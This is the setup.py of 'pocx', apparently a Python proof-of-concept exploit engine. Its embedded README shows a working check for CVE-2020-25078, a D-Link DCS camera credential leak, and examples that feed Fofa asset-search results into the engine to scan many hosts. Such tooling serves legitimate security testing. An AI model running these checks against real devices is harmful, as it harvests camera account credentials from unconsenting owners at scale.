# -*- coding: utf-8 -*-
from setuptools import setup

packages = \
['pocx', 'pocx.funcs']

package_data = \
{'': ['*']}

install_requires = \
['httpx>=0.22.0,<0.23.0', 'loguru>=0.6.0,<0.7.0']

setup_kwargs = {
    'name': 'pocx',
    'version': '0.1.5',
    'description': 'A Simple, Fast and Powerful poc engine tools was built by antx, which support synchronous mode and asynchronous mode.',
    'long_description': '# pocx\nA Simple, Fast and Powerful poc engine tools was built by antx, which support synchronous mode and asynchronous mode.\n## Install\n\n```bash\npip3 install pocx\n```\n\n## Usage\n\n### POC Template\n\n```python\n# Title: xxxxxxx\n# Author: antx\n# Email: wkaifeng2007@163.com\n# CVE: CVE-xxxx-xxxxx\n\nfrom pocx import BasicPoc, AioPoc\n\n\nclass POC(BasicPoc):\n    def __init__(self):\n        self.name = \'poc\'\n        super(POC, self).__init__()\n\n    def poc(self, target):\n        your poc code here.\n\n\nif __name__ == \'__main__\':\n    target = \'http://127.0.0.1\'\n    cve = POC()\n    cve.run(target)\n```\n\n### Synchronous Mode Example\n\n```python\n# Title: D-Link DCS系列监控 账号密码信息泄露 CVE-2020-25078\n# Author: antx\n# Email: wkaifeng2007@163.com\n# CVE: CVE-2020-25078\n\nfrom pocx import BasicPoc\nfrom loguru import logger\n\n\nclass DLinkPoc(BasicPoc):\n    @logger.catch(level=\'ERROR\')\n    def __init__(self):\n        self.name = \'D_Link-DCS-2530L\'\n        super(DLinkPoc, self).__init__()\n\n    @logger.catch(level=\'ERROR\')\n    def poc(self, target: str):\n        poc_url = \'/config/getuser?index=0\'\n        try:\n            resp = self.get(target + poc_url)\n            if resp.status_code == 200 and \'name\' in resp.text and \'pass\' in resp.text:\n                logger.success(resp.text)\n            elif resp.status_code == 500:\n                logger.error(f\'[-] {target} {resp.status_code}\')\n        except Exception as e:\n            logger.error(f\'[-] {target} {e}\')\n\n\nif __name__ == \'__main__\':\n    target = \'http://127.0.0.1\'\n    cve = DLinkPoc()\n    cve.run(target)\n```\n\n### Asynchronous Mode Example\n\n```python\n# Title: D-Link DCS系列监控 账号密码信息泄露 CVE-2020-25078\n# Author: antx\n# Email: wkaifeng2007@163.com\n# CVE: CVE-2020-25078\n\nfrom pocx import AioPoc\nfrom loguru import logger\n\n\nclass DLinkPoc(AioPoc):\n    @logger.catch(level=\'ERROR\')\n    def __init__(self):\n        self.name = \'D_Link-DCS-2530L\'\n        super(DLinkPoc, self).__init__()\n\n    @logger.catch(level=\'ERROR\')\n    async def poc(self, target: str):\n        poc_url = \'/config/getuser?index=0\'\n        try:\n            resp = await self.aio_get(target + poc_url)\n            if resp.status_code == 200 and \'name\' in resp.text and \'pass\' in resp.text:\n                logger.success(resp.text)\n            elif resp.status_code == 500:\n                logger.error(f\'[-] {target} {resp.status_code}\')\n        except Exception as e:\n            logger.error(f\'[-] {target} {e}\')\n\n\nif __name__ == \'__main__\':\n    target = \'http://127.0.0.1\'\n    cve = DLinkPoc()\n    cve.run(target)\n```\n\n### Useful Functions\n\n```python\n# Title: xxxxxxx\n# Author: antx\n# Email: wkaifeng2007@163.com\n# CVE: CVE-xxxx-xxxxx\n\nfrom pocx import BasicPoc, AioPoc\nfrom pocx.funcs import Fofa\n\n\nclass POC(BasicPoc):\n    def __init__(self):\n        self.name = \'poc\'\n        super(POC, self).__init__()\n\n    def poc(self, target):\n        your poc code here.\n\n    def assets(self, grammar: str):\n        fofa = Fofa()\n        fofa.set_config(api_key=\'xxxxxx\', api_email=\'xxxxxx\')  \n        assets = fofa.assets(grammar)\n        return assets\n\nif __name__ == \'__main__\':\n    grammar = \'app="xxxxxx"\'\n    cve = POC()\n    result = cve.assets(grammar)\n    cve.run(result)\n```\n\nor \n\n```python\n# Title: xxxxxxx\n# Author: antx\n# Email: wkaifeng2007@163.com\n# CVE: CVE-xxxx-xxxxx\n\nfrom pocx import BasicPoc, AioPoc\nfrom pocx.funcs import Fofa\n\n\nclass POC(BasicPoc):\n    def __init__(self):\n        self.name = \'poc\'\n        super(POC, self).__init__()\n\n    def poc(self, target):\n        your poc code here.\n\n\nif __name__ == \'__main__\':\n    grammar = \'app="xxxxxx"\'\n    cve = POC()\n    fofa = Fofa()\n    fofa.set_config(api_key=\'xxxxxx\', api_email=\'xxxxxx\')\n    print(f\'[+] the asset account of grammar: {grammar} are: {fofa.asset_counts(grammar)}\')\n    pages = fofa.asset_pages(grammar)\n    for page in range(1, pages + 1):\n        print(f\'[*] page {page}\')\n        assets = fofa.assets(grammar, page)\n        cve.run(assets)\n```\n',
    'author': 'antx',
    'author_email': 'wkaifeng2007@163.com',
    'maintainer': None,
    'maintainer_email': None,
    'url': 'https://github.com/antx-code/pocx',
    'packages': packages,
    'package_data': package_data,
    'install_requires': install_requires,
    'python_requires': '>=3.8,<4.0',
}


setup(**setup_kwargs)
